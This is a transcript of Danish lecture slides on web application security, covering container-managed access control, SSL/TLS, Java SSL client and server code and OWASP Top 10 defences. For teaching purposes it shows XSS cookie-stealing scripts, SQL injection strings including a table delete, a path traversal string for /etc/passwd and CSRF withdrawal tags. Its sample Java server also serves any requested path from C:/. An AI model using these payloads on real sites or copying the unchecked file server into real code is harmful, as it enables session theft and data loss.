Webserverprogrammering

Størrelse: px
Starte visningen fra side:

Download "Webserverprogrammering"

Transkript

1 Webserverprogrammering sikkerhed - dag 12 Dette materiale er under Åben Dokumentlicens, se

2 Webapplikationer og angreb Sikkerhed og SSL Adgangskontrol Angreb mod webapplikation Intro til sikker forbindelse SSL Secure Socket Layer TLS Transport Layer Security SSL i Java

3 Adgangskontrol Websideadgangskontrol - Ønske om begrænset adgang til website / enkelt webside Brugere må identificere sig med bruger ID mv. via webbrowser / klient Evt. ønske om at hindre forfalsket bruger, fx hvis bruger ID mv. kunne tappes fra netværket eller ID mv. kunne udleveres til falsk bruger Med JSP/Servlet er der mulighed for containerstyret adgangskontrol eller applikationsstyret adgangskontrol Brugere og roller generelt - Til bruger ID er ofte knyttet en rolle / flere roller (privilegier) Bruger ID og rolle/roller må på forhånd registreres af server En rolle giver muligheder/rettigheder på serveren

4 Brugere og roller ifm. containerstyret adgangskontrol - Brugere og deres roller angives i filen conf/tomcat users.xml, fx: <tomcat users> <user name="stud" password= "xxxxxxx" roles="standard,manager" /> <user name="tomcat" password="tomcat" roles="tomcat" /> <user name="role1" password="tomcat" roles="role1" /> <user name="both" password="tomcat" roles="tomcat,role1" /> </tomcat users> - Roller ifm. den enkelte applikation angives i filen web.xml, fx: <security constraint> <web resource collection> <web resource name>entire Application</web resource name> <url pattern>/*</url pattern> </web resource collection> <auth constraint> <role name>manager</role name> </auth constraint> </security constraint>

5 Transportgarantier - Et ekstra user data constraint element kan tilføjes security constraint: <user data constraint> <transport guarantee>garanti</transport guarantee> </user data constraint> - Garantierne er a) NONE Der sendes i klartekst mellem server og klient b) INTEGRAL Der sendes så data ikke kan ændres (vha. SSL) c) CONFIDENTIAL Der sendes så data ikke kan læses+ændres (vha. SSL)

6 Containerstyret adgangskontrol fortsat - Et ekstra login config element kan tilføjes i filen web.xml, fx: <login config> <auth method>basic</auth method> <realm name>tomcat Manager Application</realm name> </login config> - Metoderne er a) BASIC Bruger ID og password overføres via browserens webside login vindue med base64 kodning (ingen kryptering) b) FORM Som BASIC, blot er login vindue/side del af webapplikationen (ekstra element form login config oplyser siden + fejlside) c) DIGEST Som BASIC, blot sendes hashværdi af password d) CLIENT-CERT Brugers/klients certifikat skal sendes til server - Ved brug af CONFIDENTIAL som transportgaranti sikres under alle omstændigheder hemmelig/krypteret forsendelse (vha. SSL)

7 Eksempel på FORM-metoden Web.xml: <?xml version="1.0" encoding="iso "?> <!DOCTYPE web app PUBLIC " //Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/j2ee/dtds/web app_2_3.dtd"> <web app> <security constraint> <web resource collection> <web resource name> Restricted Area </web resource name> <url pattern>/servlet/*</url pattern> </web resource collection> <auth constraint> <role name>manager</role name> <role name>tomcat</role name> </auth constraint> </security constraint>

8 <login config> <auth method>form</auth method> <form login config> <form login page>/login.html</form login page> <form error page>/error.html</form error page> </form login config> </login config> </web app> Login.html: <H2>Please enter your user name and password</h2> <FORM ACTION="j_security_check" METHOD="POST"> <TABLE> <TR><TD>User name:</td> <TD><INPUT TYPE=TEXT NAME="j_username"></TD></TR> <TR><TD>Password:</TD> <TD><INPUT TYPE=PASSWORD NAME="j_password"></TD></TR> <TR><TD><INPUT TYPE=RESET></TD> <TD><INPUT TYPE=SUBMIT VALUE="Login"></TD></TR> </TABLE> </FORM> Error.html: (ganske enkel)

9 Hvordan kan forsikres at containerstyret adgangskontrol er slået til? out.println("auth Type: "+ request.getauthtype()); /* Giver BASIC_AUTH, FORM_AUTH, DIGEST_AUTH eller CLIENT_CERT_AUTH */ out.println("remote User: "+request.getremoteuser()); /* Giver bruger ID; null hvis ikke autentificeret */ if (request.isuserinrole("tomcat")) out.println("user in role tomcat"); else out.println("user not in role tomcat");

10 Angreb mod webapplikation Antag aldrig noget om data, der kommer fra brugeren! Angrebsmuligheder - Brugeren overholder ikke antagelser om parameterindhold Brugeren overholder ikke antagelser om cookie-indhold Brugeren overskrider antagelser omkring længder (parametre+cookie) Brugeren laver selv URL er i forsøg på tilgang til sider/filer i webapplikationen Generelt: Aflytte/ændre/genforsende andres kommunikation, lave spoofing af IPadresse, præsentere selvsigneret eller stjålet certifikat, lave (distribueret) denial-ofservice angreb

11 Eksempler på konkrete angreb HTML-injektion HTML-koder, evt. JavaScript afleveres i parametre; kommer disse data senere uændret frem på en webside, kan brugerens browser styres fx omdirigeres til anden webside SQL-injektion SQL afleveres i parametre; benyttes disse data senere uændret på en webside, vil serveren evt. udføre SQL en med succes (kræver et vist kendskab til webapplikationens database) XXX-injektion XXX afleveres i parametre med det formål at udføre script eller program på serverside (kan evt. føre til overtagelse af servermaskine) MS IIS har gennem tiden vist en række huller af denne slags Cross-site scripting (XSS) Et injektionsangreb, hvor anden bruger uvidende udfører fx JavaScript Formål er angreb mod anden bruger Sessionskapring Gennemføres fx ved at snuppe cookie fra anden bruger gennem XSS Eks.: <script>window.open( +document.cookie)</script>

12 Sikkerhedsekspertens råd til webudviklere Filtrér ulovlige tegn i modtaget data væk før de anvendes Undgå at uventet store datamængder fører til overflow/undtagelser/mv. Genkend bruger på mere end cookie, fx IP-adresse, og lad login udløbe hurtigt Brug SSL/HTTPS når personlige oplysninger og penge står på spil! Sikkerhedsekspertens råd til brugere Antag usikker webapplikation og slå popup-vinduer og alle former for script-udføringer fra i browseren!

13 Intro til sikker forbindelse Standarder - SSLv1, SSLv2, SSLv3 (1994, 1994, 1995 Netscape) TLSv1 (1999 Microsoft / EITF - Emerging Issues Task Force) Hvad kan angribes? - Integritet (dataindholdet ændres) Hemmeligholdelse (nogen lytter med) Autentificering (udgive sig for en anden) Hvilke metoder har vi til sikring af ovenstående?

14 Symmetrisk kryptering Problem: Begge parter må på forhånd kende nøglen KA-B Algoritmer, fx: DES (56 bit nøgle), 3DES (112, 168 bit nøgle) AES (128, 192, 256 bit nøgle) Brydning: (brute force) DES (56) ca. én dag! AES (256) trillioner af år!

15 Asymmetrisk / offentlig nøgle kryptering Algoritmer, fx: RSA (512, 1024, 2048 bit nøgler) DHE - Diffie-Hellman (512, 1024 bit nøgler kun nøgleforhandling til symmetrisk krypt.)

16 Hashværdi Problem: Tekst kan ændres og hashværdi genberegnes! Kryptering bør derfor tilføjes Algoritmer, fx: MD5 (128 bit hashværdi) SHA-1 (160 bit hashværdi)

17 Digital signatur Afsender siden: Modtager siden:

18 Certifikat CA Certificate Authority garanterer for at person (eller computer) er den rigtige Beviset er, at CA s private nøgle er anvendt på certifikatet

19 X509.v3 certifikat (hentet fra Opera browser) Certificate name: VeriSign Class 1 Public Primary Certification Authority - G3 VeriSign, Inc. (c) 1999 VeriSign, Inc. - For authorized use only US Issuer: VeriSign Class 1 Public Primary Certification Authority - G3 VeriSign, Inc. (c) 1999 VeriSign, Inc. - For authorized use only US Certificate version: 1 Serial number: 0x8B5B B00CFAF3848CEB1A4 Not valid before: Oct 1 00:00: GMT Not valid after: Jul 16 23:59: GMT Fingerprint: B1 47 BC D1 18 A0 78 2D EC 71 E8 2A Selvsigneret!

20 Public key algorithm: rsaencryption Public-Key (2048 bit): Modulus: 0000: 3D D F 6B 65 BF E D AA 68 DA : A3 A7 AA F6 DD C C5 D AF 4A : F D7 B4 3B 1F DB D9 02 1E 29 A3 5C : 37 C7 EA A6 E8 F6 63 8C 54 1B C8 55 AD BD 29 DB 0040: 5C E9 23 3F AE D9 CD A3 5F 9A 30 EB 9E : C9 DD 9C B3 C5 A0 CA BE E4 A1 27 B8 1A : 13 A0 CF 6E 3C DB D2 D7 54 3E FE BA EA : FE DA CC 4C 2B 75 7F C2 FF 60 E0 F1 9D F8 0080: E2 95 1D 06 AD CA AC E0 14 CA 3F AD : AB AC A2 D A BC 66 DD 36 00A0: E C E4 DF FE 00B0: ED C8 94 6D F6 60 EC 71 1F 47 A3 1E C0: C7 57 A5 44 F0 0E E3 0B EC 1A 6D C4 EF E 00D0: 15 6E AA DE C8 1B 6E 1F F0 1F 33 D1 94 C2 00E0: AC 0D C7 C DD 7A D F0: 6C DC 3D DE 9C F3 D8 A7 F9 B4 B9 D4 84 DD Exponent: Offentlig nøgle Signatur Public key algorithm: sha1withrsaencryption 0000: AB 66 8D D7 B3 BA C7 9A B6 E6 55 D0 05 F1 9F : 8D 5A AA D9 AA F 71 ED A5 AD : 47 2A 44 E9 FE 3F 74 0B 13 9B B9 F4 4D 1B B2 D1 0030: 5F B2 B6 D2 88 5C B3 9F CD CB D4 A7 D : 3A F8 C1 37 1D 61 CA E7 B0 C5 E5 91 DA 54 A6 AC 0050: AE 97 DE CD 08 AC B8 C F 6E 72 A4 0060: E F C4 93 3C FD 79 8F 04 D4 3E 4F 0070: EA F7 9E CE CD 67 7C 4F FF C7 0080: FF 36 F7 86 2D EC D0 5E 4F FF 11 9F D6 B8 0090: 1A F1 4C 0D E E C7 9F E3 DD E8 0A 00A0: DA EC A A1 4F 7E E1 6B CF FA 00B0: 83 8E BC 38 DD B0 2E 11 B1 6B B2 42 CC 9A BC F9 00C0: A 19 0F B2 1C 3E D9 6A C3 BE F2 00D0: F 6D 50 EA 1B B0 B5 57 B E0: F3 DC 0F DF 0A 87 C4 EF D F0: 99 A3 4B DE C F2 DB B6 1F A4 EF 3F EE

21 SSL Secure Socket Layer Transportlagsplacering sikrer a) Kryptering fra ende til ende b) Med TCP-uafhængig implementation sikres uafhængighed af operativsystem

22 SSL sessionstilstand ID sekvens af bytes valgt af server Modpartens certifikat et X509.v3 certifikat (kan være intet) Komprimerings metode ID for algoritme (kan være ingen) Krypteringsmetode fx null, DES; hash algoritme fx MD5, SHA-1; hash størrelse Master secret 48 bytes hemmeligt tal delt mellem klient og server Genoptagbar hvorvidt session kan genoptages senere (ny forbindelse) SSL forbindelsestilstand Servers og klients tilfældige tal sekvens af bytes Servers hemmelige nøgle for autentificering (MAC) Servers hemmelige nøgle for kryptering af data Klients hemmelige nøgle for autentificering (MAC) Klients hemmelige nøgle for kryptering af data Initialiseringsvektorer for CBC start (én per nøgle) - blokkryptering Sekvensnumre parternes sekvensnumre fra 0 til 264-1

23 SSL record protokollen - Fragmenter er max. 214 bytes - Komprimering (+max bytes) - Tilføjelse af MAC - Kryptering (+max bytes) - CBC: IDEA (128), RC2-40, DES-40, DES (56), 3DES (168), Fortezza (80) - Strøm: RC4-40, RC4-128

24 Beregning af MAC ( Message Authentication Code ) MD5 eller SHA-1 af 1) Nøgle for autentificering (MAC ved send) 2) Bitmønster på 384 bits for MD5 og 320 bits for SHA-1 3) MD5 eller SHA-1 af a) Nøgle for autentificering (MAC ved send) b) Bitmønster på 384 bits for MD5 og 320 bits for SHA-1 c) Sekvensnummeret d) Indholdstype (den øvre protokol) e) Komprimeret fragments længde f) Hele fragmentet (evt. komprimeret) Hvorfor indgår så mange parametre? Hvorfor to gange MD5 eller SHA-1?

25 SSL record format Indholdstypen - Den øvre protokol Major version - SSL version, fx 3 Minor version - SSL version, fx 0 Komprimeret længde - Fragmentlængde i bytes

26 SSL record indholdstyper >= >= (a) (b) (c) (d) Sætte ny SSL tilstand i drift Advarsel(1) eller fatal(2) hændelse Det meste af handshake sekvensen Data under almindelig brug af SSL

27 Hændelsesprotokollen - Fatale hændelser - - Uventet meddelelse Ukorrekt MAC Dekomprimeringsfejl Handshake fejl (forhandling intet resultat) Illegal parameter i handshake Advarsler - Besked om lukning (af forbindelse) Intet certifikat (hvis modparten beder om certifikat) Fejl i certifikat Ikke supporteret certifikatstype Certifikat trukket tilbage ( revoked ) Certifikat udløbet Certifikat ukendt (en anden fejl i behandlingen)

28 Handshake protokollen (1)Udveksling af protokol version, sessions ID, krypteringsmetoder, komprimeringsmetoder og tilfældige tal (2)Server kan sende certifikat/certifikatkæde, evt. nøgle og evt. kræve certifikat fra klient (3)Klient sender certifikat/certifikatkæde (hvis anmodet), nøgle, evt. hash for verifikation af certifikat (signatur) (4)Der skiftes til SSL og afsluttende beskeder indeholder hash af en række parametre

29 Handshake (1) - Klient fortæller hvilken SSL version der forstås Tilfældigt tal består tidsstempel og tilfældige 28 bytes (mod genspilning) Sessions ID; ved <> 0 ønskes session genoptaget Krypteringsalgoritmer implementeret hos klient; prioriteret orden (inkl. nøglebytte metoder) Kompressionsmetoder; prioriteret orden Servers svar indeholder samme slags parametre Nøglebytte metoder - RSA; hemmelig nøgle krypteres med modtagers offentlige nøgle (fra certifikat) Fixed Diffie-Hellman; resulterer i nøgleberegning af hemmelig nøgle baseret på offentlige nøgler Ephemeral Diffie-Hellman; resulterer i engangs hemmelig nøgle vha. aut. parametre (mest sikker) Anonymous Diffie-Hellmann; parametre sendes uden aut. ( man-in-the-middle angreb!) Fortezza

30 Handshake (2) - Server leverer certifikat; ét eller kæde af X.509 certifikater (ikke ved Anonymous DHE) Server leverer parametre til konstruktion af fælles hemmelig nøgle (ikke ved RSA eller Fixed DHE) Evt. anmodes klient om at levere certifikat (ikke ved Anoumous DHE); certifikattype og acceptable CA er oplyses Certifikattyper - RSA el. DSS; kun signatur RSA el. DSS for fixed DHE; kun autentificering RSA el. DSS for emphemeral DHE Fortezza

31 Handshake (3) - - Klient leverer certifikat; ét eller kæde af X.509 certifikater (hvis anmodet) Der leveres parametre (krypteret) til konstruktion af fælles hemmelig nøgle; pre-master secret hvis RSA nøglebytning (intet indhold hvis Fixed DHE) Evt. sendes certifikat verifikation; MD5 eller SHA-1 hash (af master secret og tidligere handshake beskeder) krypteret med klients private nøgle (sikrer certifikat tilhører klient) Master secret (48 bytes) beregnes på begge sider - pre-master secret indgår 6 gange! Klients tilfældige tal indgår 3 gange (saltværdi) Servers tilfældige tal indgår 3 gange (saltværdi) Beregning gentages baseret på master secret og der fås en key block (pseudotilfældig funktion)

32 Handshake (4) - Begge parter skifter til brug af nye nøgler og krypteringsalgoritmer; SSL forsendelser kan starte Afslutningsbesked indeholder både MD5 og SHA-1 hash af master secret og øvrige handshake beskeder Hvorfor sendes afslutningsbeskeden?

33 TLS Transport Layer Security TLS er en forbedring af SSLv3 (=SSLv3.1) - Samme record format Major version 3 og minor version 1 HMAC i stedet for MAC anden algoritme Ekstra hændelsestyper og én fjernet Ekstra certifikattyper Certifikat verificering sker kun over handshake beskeder, ikke over master secret Master secret udberegnes lidt anderledes

34 SSL i Java Implementering 100% i Java af algoritmer og processer

35 Krypteringsalgoritmer og autentificeringsmetoder - SSLv3 og TLSv1 X.509 baseret key manager og trust manager (programmet keytool) Delvis implementering af RFC 2459s regler for validering af certifkatkæde En (kun) læsbar implementering af PKCS12 nøglelager

36 Webserver i Java med SSL (dvs. HTTPS) import java.io.*; import java.util.*; import javax.net.ssl.*; public class WebServer { public static void main(string argv[]) throws Exception { String requestmessageline; String filename; SSLServerSocketFactory sslsrvfact = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault(); SSLServerSocket listensocket = (SSLServerSocket) sslsrvfact.createserversocket(9090); SSLSocket connectionsocket; BufferedReader infromclient; DataOutputStream outtoclient; StringTokenizer tokenizedline;

37 while (true) { try { connectionsocket = (SSLSocket) listensocket.accept(); infromclient = new BufferedReader(new InputStreamReader( connectionsocket.getinputstream())); outtoclient = new DataOutputStream( connectionsocket.getoutputstream()); requestmessageline = infromclient.readline(); tokenizedline = new StringTokenizer(requestMessageLine); if (tokenizedline.nexttoken().equals("get")){ filename = tokenizedline.nexttoken(); if (filename.startswith("/") == true ) filename = filename.substring(1); filename = "C:/" + filename; /* Server henter filer fra roden */ File file = new File(fileName); int numofbytes = (int) file.length(); FileInputStream infile = new FileInputStream ( filename); byte[] fileinbytes = new byte[numofbytes];

38 infile.read(fileinbytes); outtoclient.writebytes ("HTTP/ Document Follows\r\n"); if (filename.endswith(".jpg")) outtoclient.writebytes ("Content Type: image/jpeg\r\n"); if (filename.endswith(".gif")) outtoclient.writebytes ("Content Type: image/gif\r\n"); outtoclient.writebytes("content Length: " + numofbytes + "\r\n"); outtoclient.writebytes("\r\n"); outtoclient.write(fileinbytes, 0, numofbytes); connectionsocket.close(); } else System.out.println("Bad Request Message"); } catch (Exception e) { System.out.println(e); } } } }

39 Webbrowser i Java med SSL (dvs. HTTPS) import java.io.*; import java.util.*; import javax.net.ssl.*; public class WebBrowser { public static void main(string argv[]) throws Exception { String inputline; SSLSocketFactory sslfact = (SSLSocketFactory)SSLSocketFactory.getDefault(); SSLSocket s = (SSLSocket)sslFact.createSocket("localhost", 9090); BufferedReader infromserver; DataOutputStream outtoserver;

40 infromserver = new BufferedReader(new InputStreamReader(s.getInputStream())); outtoserver = new DataOutputStream(s.getOutputStream()); outtoserver.writebytes("get test.txt \r\n"); /* Henter filen test.txt */ for (int i = 0; i < 10; i++) { /* Henter 10 linier */ inputline = infromserver.readline(); System.out.println(inputLine); } /* Her burde hentes præcis Content Length: x bytes */ s.close(); } }

41 Top 10 Web Security Vulnerabilities Carol McDonald Sun Microsystems 41

42 Top 10 Open Web Application Security Project > promotes the development of secure web applications > developers guide, test guide, top 10, ESAPI... > TOP 10 > The Ten Most Critical Issues > Aimed to educate about the most common web application security vulnerabilities > Living document: 2007 Top 10 different from 2004 Top 10

43 Enterprise Security API p/category:_enterprise_security_api 43

44 Frameworks and ESAPI ESAPI is NOT a framework > collection of security building blocks, not lock in > Designed to help retrofit existing applications > Wrap your existing libraries and services > Extend and customize

45 Enterprise Security API

46 A1: Cross Site Scripting XSS Reflected XSS: > HTML page reflects user input data back to the browser, without sanitizing the response > out.writeln( You searched for: +request.getparameter( query ); Stored XSS: > Attacker s script is stored on the server (e.g. blog) and later displayed in HTML pages, without proper filtering > out.writeln("<tr><td>" + guest.name + "<td>" + guest.comment); DOM XSS: > input data or data from the server written to dynamic HTML (DOM) elements, without filtering

47 A1 Cross Site Scripting Example Hacker tricks user into sending request containing script in search parameter. <script>alert(document.cookie)</script> Site reflects the script back to user where it executes and sends the session cookie to the hacker. Allows hacker to execute script in victim's browser Script executes with victim's trust of the affected site

48 Never Trust Input HttpServletRequest.getParameter() HttpServletRequest.getCookies() HttpServletRequest.getHeader() Etc Bad patterns Input unchecked -> Output == XSS

49 A1 Cross Site Scripting Protection Defense Input Validation do use White List (what is allowed), reject if invalid do Not filter with black-list (what is not allowed) Output Encoding Set character Encoding for HTML pages: page contenttype="text/html;charset=iso " language="java" %> user supplied data should be HTML or XML entity encoded before rendering > means < becomes < > <script> in markup represented by <script>

50 A1 Cross Site Scripting Protection Validating Input with Java String regex = "[\\s\\w-,]*"; Pattern pattern = Pattern.compile(regex); validate(stringtovalidate, pattern); Validating Input with JSF 2.0 <h:inputtext id="creditcard" value="#{booking.creditcardnumber}"/>

51 A1 Cross Site Scripting Protection Validating Input with JSF public class Booking = "Credit card number is = 16, max = 16, message = "Credit card number must 16 digits = "^\\d*$", message = "Credit card number must be numeric") public String getcreditcardnumber() { return creditcardnumber; } }

52 Validation, Encoding, and Injection Any Interpreter Global Validate Canonicalize Any Encoding Set Character Set Encode For HTML Specific Validate Sanitize Canonicalize Validate

53 A1 Cross Site Scripting Protection Validating Input with ESAPI ESAPI.validator().getValidInput(String context, String input, String type, int maxlength, boolean allownull, ValidationErrorList errorlist)

54 A1 Cross Site Scripting Protection Output Encoding with Struts <bean:write > Output Encoding with JSP <c:out escapexml="true" > Output Encoding with JSF <h:outputtext value="#{param.name}"/> escapes dangerous characters as XHTML entities.

55 A1 Cross Site Scripting Protection Output Encoding with ESAPI <p>hello, <%=ESAPI.encoder().encodeForHTML(name)%></p>

56 A2: Injection Flaws attacker's data modifies a query or command sent to a database, LDAP server, operating system or other Interpreter 101 or 1 = 1 Hacker sends SQL commands into a form field. Site executes modified SQL query and returns results to hacker.

57 A2: SQL Injection Example "select * from MYTABLE where name=" + parameter user supplies "name' OR 'a'='a' " as the parameter "select * from MYTABLE where name= 'name' OR 'a'='a'; equivalent to "select * from MYTABLE;

58 A2: SQL Injection Example "select * from MYTABLE where name=" + parameter user supplies "name' OR 'a'='a' ; delete from MYTABLE" "select * from MYTABLE where name= 'name' OR 'a'='a'; delete from MYTABLE; equivalent to "select * from MYTABLE; delete from MYTABLE;

59 Never Trust Input HttpServletRequest.getParameter() HttpServletRequest.getCookies() HttpServletRequest.getHeader() Etc Bad patterns Input -> Output == Cross-Site Scripting (XSS) Input -> Query == SQL Injection Input -> System == Command Injection

60 A2: SQL Injection Protection Don't with JDBC String empid= req.getparameter("empid") // input parameter String query = "SELECT * FROM Employee WHERE id = '" + empid +"'"; Do with JDBC String selectstatement = "SELECT * FROM Employee WHERE id =? "; PreparedStatement pstmt = con.preparestatement(selectstatement); pstmt.setstring(1, empid); dangerous characters - escaped by the JDBC driver.

61 A2: SQL Injection Protection Don't with JPA q = entitymanager.createquery( select e from Employee e WHERE + e.id = ' + empid + ' ); Do with JPA q = entitymanager.createquery( select e from Employee e WHERE + e.id = ':id' ); q.setparameter( id, empid); dangerous characters - escaped by the JDBC driver.

62 A3: Malicious File Execution attacker's file is executed or processed by the web server. Example: > file or filename is accepted from the user without validating content // get file path on the server's filesystem String dir = servlet.getservletcontext().getrealpath("/ebanking") // get input file name String file = request.getparameter( file ); // Create a new File instance from pathname string File f = new File((dir + "\\" + file).replaceall("\\\\", "/"));

63 A3: Malicious File Execution Threat > Malicious files (e.g. script) can be executed on the application server > modifying paths to gain access to directories on the web server

64 A3: Malicious File Execution Protection Strongly validate user input do not allow user input in the path name for server resources Java EE Security Manager should be configured not allow access to files outside the web root Upload files to a destination outside of the web application directory.

65 A4: Insecure Direct Object Reference - Example <select name="language"> <option value="fr">français</option> </select> Public static String language = request.getparameter(language); String language = request.getparameter(language); RequestDispatcher rd =getservletcontext(). getrequestdispatcher(language+ help.jsp ); rd.include(request, response); code can be attacked using a string like "/../../../etc/passwd%00" (null byte injection)

66 A4: Insecure Direct Object Reference - Example reference to database key int accountid = Integer.parseInt( request.getparameter( "accountid" ) ); String query = "SELECT * FROM account WHERE accountid=" + accountid; attacker can search on another key.

67 A4: Insecure Direct Object Reference Protection Avoid exposing direct object references to users > use an index, indirect reference map, or other indirect method that is easy to validate. Validate any object references > with an "accept known good" approach > Make sure that input does not contain patterns like../ or %00 Verify authorization to all referenced objects

68 Handling Direct Object References Indirect Reference Direct Reference Web Service Database Mainframe User Access Reference Map Indirect Reference File System Report123.xls Direct Reference Etc

69 ESAPI Access Reference Map Key Methods > getdirectreference(indirectreference) > getindirectreference(directreference) > update(directreferences) Example > >

70 ESAPI: Handling Direct Object References Set fileset = new HashSet(); fileset.addall(...); //add references (e.g. ids, Files ) AccessReferenceMap map = new AccessReferenceMap( fileset ); // add indirect references to the map String indref = request.getparameter( "file" ); File file = (File)map.getDirectReference( indref ); // if getdirectreference throws an AccessControlException // you should handle as appropriate

71 ESAPI: Controlling Access to Files, Data try { ESAPI.accessController(). assertauthorizedforfile(filepath); } catch (AccessControlException ace) {.. attack in progress } try { ESAPI.accessController(). assertauthorizedfordata(key); } catch (AccessControlException ace) {.. attack in progress }

72 A5: Cross Site Request Forgery Also called Session Riding exploit of a website whereby Attacker's commands are transmitted by logged in user's browser Real World Example google gmail 2007: gmail browser window hostile site browser window logon navigate to javascript get users gmail contacts users cookie, session

73 A5: Cross Site Request Forgery <img src="http://bank.de/withdraw? account=bob&amount=10000&for=mallory"> hostile with image Bank App logon read , click image transfer funds users cookie, session

74 A5:Cross Site Request Forgery Hostile Web App examples: <img src="http://bank.de/withdraw?account=bob&amount=10000&for=mallory"> IMG SRC <img src="http://host/?command"> SCRIPT SRC <script src="http://host/?command"> IFRAME SRC <iframe src="http://host/?command">

75 A5:Cross Site Request Forgery Make sure there are no XSS vulnerabilities in your application (see A1 XSS) Insert custom random tokens into every form and URL: > send unique token with response, valid for one request > verify token is correct for user when form submitted <form action="/transfer.do" method="post"> <input type="hidden" token=" " > </form> For sensitive transactions, re-authenticate > notify the user of the request by

76 A5:Cross Site Request Forgery Java Protection Struts use org.apache.struts2.components.token HTTP data integrity framework (http://www.hdiv.org/) > adds random parameter to every form Use the ESAPI CRSF token: try { HTTPUtilities.getInstance().verifyCSRFToken( request ); verifies token in URL } catch( IntrusionException e ) { response.getwriter().write( "Invalid" ); } String validurl = HTTPUtilities.getInstance(). addcsrftoken("/esapitest/test?param=test"); adds token to URL

77 A6: Information Leakage and Improper Error Handling Providing too much information to the user when an error occurs Examples: SQL errors: > Microsoft OLE DB Provider for SQL Server error '80040e14' Column 'newstbl.news_id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. G:\WEBSITE\WWW.SAMPLECOMPANY.COM/internal/dbSys.inc, line 241 > Exposing database, field, and table names stack traces: can reveal names of functions, objects, parameters... Verification of the existence of a file Information about infrastructure

78 A6: Information Leakage and Improper Error Handling Protection Write detailed error information to a secure Log (not to the user) standard error-handling framework to handle exceptions: > return sanitised error message for users for all error paths > errors from all layers (SQL, web server..) should be checked, configured so as not to go to the user Always give error message The username/password is not correct instead of The password is not correct for failed logins.

79 A7:Broken Authentication/Session Management Protection: All restricted URLs should use SSL login page should use SSL > Regenerate a new session upon successful login Audit logging: > who, when, from where, what data use inbuilt session management --HttpSession > don't write your own use well proven SSO solutions > don't code your own remember me reject new, preset or invalid session ids > (session fixation attack)

80 A7:Broken Authentication/Session Management Protection: encourage logout, with link on every page > invalidate session upon logout configure timeout period to logout inactive sessions require strong passwords, with locking when guessing be careful with password reset and Q/A clues do not put session id in URL

81 A7:Broken Authentication/Session Management Protection: Add a security constraint in web.xml for every URL that requires HTTPS: <security-constraint> <web-resource-collection> <web-resource-name>urls require HTTPS</web-resource-name> <url-pattern>/profile</url-pattern> <url-pattern>/register</url-pattern> <url-pattern>/login</url-pattern> </web-resource-collection> <user-data-constraint> <transport-guarantee>confidential</transport-guarantee> </user-data-constraint> </security-constraint>

82 A8: Insecure Cryptographic Storage Failure to encrypt sensitive data or poorly designed cryptography Examples: not encrypting home grown algorithms insecure use of algorithms weak algorithms

83 A9: Insecure Communication Failure to encrypt network traffic for sensitive communication Encryption should be used for > authenticated connections, with user and backend > sensitive data like credit card Failure Risks: sniffing, loss of credentials --Identity theft, loss of sensitive information-- financial fraud

84 A9: Insecure Communication Protection Use SSL > For all connections that are authenticated > When transmitting credentials, credit card details, health and other private information Use transport layer security or Protocol level encryption > Between web servers and application servers and back end systems and repositories For PCI compliance > protect credit card holder data in transit

85 A9: Insecure Communication Protection Add a security constraint in web.xml for every URL that requires HTTPS: <security-constraint> <web-resource-collection> <web-resource-name>urls require HTTPS</web-resource-name> <url-pattern>/profile</url-pattern> <url-pattern>/register</url-pattern> <url-pattern>/login</url-pattern> </web-resource-collection> <user-data-constraint> <transport-guarantee>confidential</transport-guarantee> </user-data-constraint> </security-constraint>

86 A10: Failure to Restrict URL Access Failure to restrict access to URLs with sensitive functions or data Examples: hidden URLs rendered only to admins /admin/adduser.do > attacker forced browsing can find unprotected URLs test pages deployed in production hidden files, such as system reports out of date access control privileges checked on the client but not on server

87 A10: Failure to Restrict URL Access Protection don't assume users will not find hidden URLs access control matrix should be part of architecture/design of application all URLs and business functions should have effective Access Control > configure role & authorization constraints in web.xml > or use Acegi (Spring) Security, a security framework for authentication and authorization > or use ESAPI Access Controller

88 ) Banned Java APIs System.out.println() -> Logger.* Throwable.printStackTrace() -> Logger.* Runtime.exec() -> Executor.safeExec() Reader.readLine() -> Validator.safeReadLine() Session.getId() -> Randomizer.getRandomString() (better not to use at all) ServletRequest.getUserPrincipal() -> Authenticator.getCurrentUser() ServletRequest.isUserInRole() -> AccessController.isAuthorized*() Session.invalidate() -> Authenticator.logout() Math.Random.* -> Randomizer.* File.createTempFile() -> Randomizer.getRandomFilename() ServletResponse.setContentType() -> HTTPUtilities.setContentType() ServletResponse.sendRedirect() -> HTTPUtilities.sendSafeRedirect() RequestDispatcher.forward() -> HTTPUtilities.sendSafeForward() ServletResponse.addHeader() -> HTTPUtilities.addSafeHeader() ServletResponse.addCookie() -> HTTPUtilities.addSafeCookie() ServletRequest.isSecure() -> HTTPUtilties.isSecureChannel() Properties.* -> EncryptedProperties.* ServletContext.log() -> Logger.* java.security and javax.crypto -> Encryptor.* java.net.urlencoder/decoder -> Encoder.encodeForURL/decodeForURL java.sql.statement.execute -> PreparedStatement.execute ServletResponse.encodeURL -> HTTPUtilities.safeEncodeURL (better not to use at all) ServletResponse.encodeRedirectURL -> HTTPUtilities.safeEncodeRedirectURL (better not to use at all) 99 Copyright 2008 Aspect Security

Sikre apps på ios og Android. Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft

Sikre apps på ios og Android. Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft Sikre apps på ios og Android Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft "Next vulnerability shift will go from WebApp to Mobile. It'll take at least another 5-7yrs though." Jeremiah Grossman

Læs mere

Status på det trådløse netværk

Status på det trådløse netværk Status på det trådløse netværk Der er stadig problemer med det trådløse netværk, se status her: http://driftstatus.sdu.dk/?f=&antal=200&driftid=1671#1671 IT-service arbejder stadig med at løse problemerne

Læs mere

DET KONGELIGE BIBLIOTEK NATIONALBIBLIOTEK OG KØBENHAVNS UNIVERSITETS- BIBLIOTEK. Index

DET KONGELIGE BIBLIOTEK NATIONALBIBLIOTEK OG KØBENHAVNS UNIVERSITETS- BIBLIOTEK. Index DET KONGELIGE Index Download driver... 2 Find the Windows 7 version.... 2 Download the Windows Vista driver.... 4 Extract driver... 5 Windows Vista installation of a printer.... 7 Side 1 af 12 DET KONGELIGE

Læs mere

ISA Server 2006 Del 5. Jesper Hanno Hansen Jphan@wmdata.dk

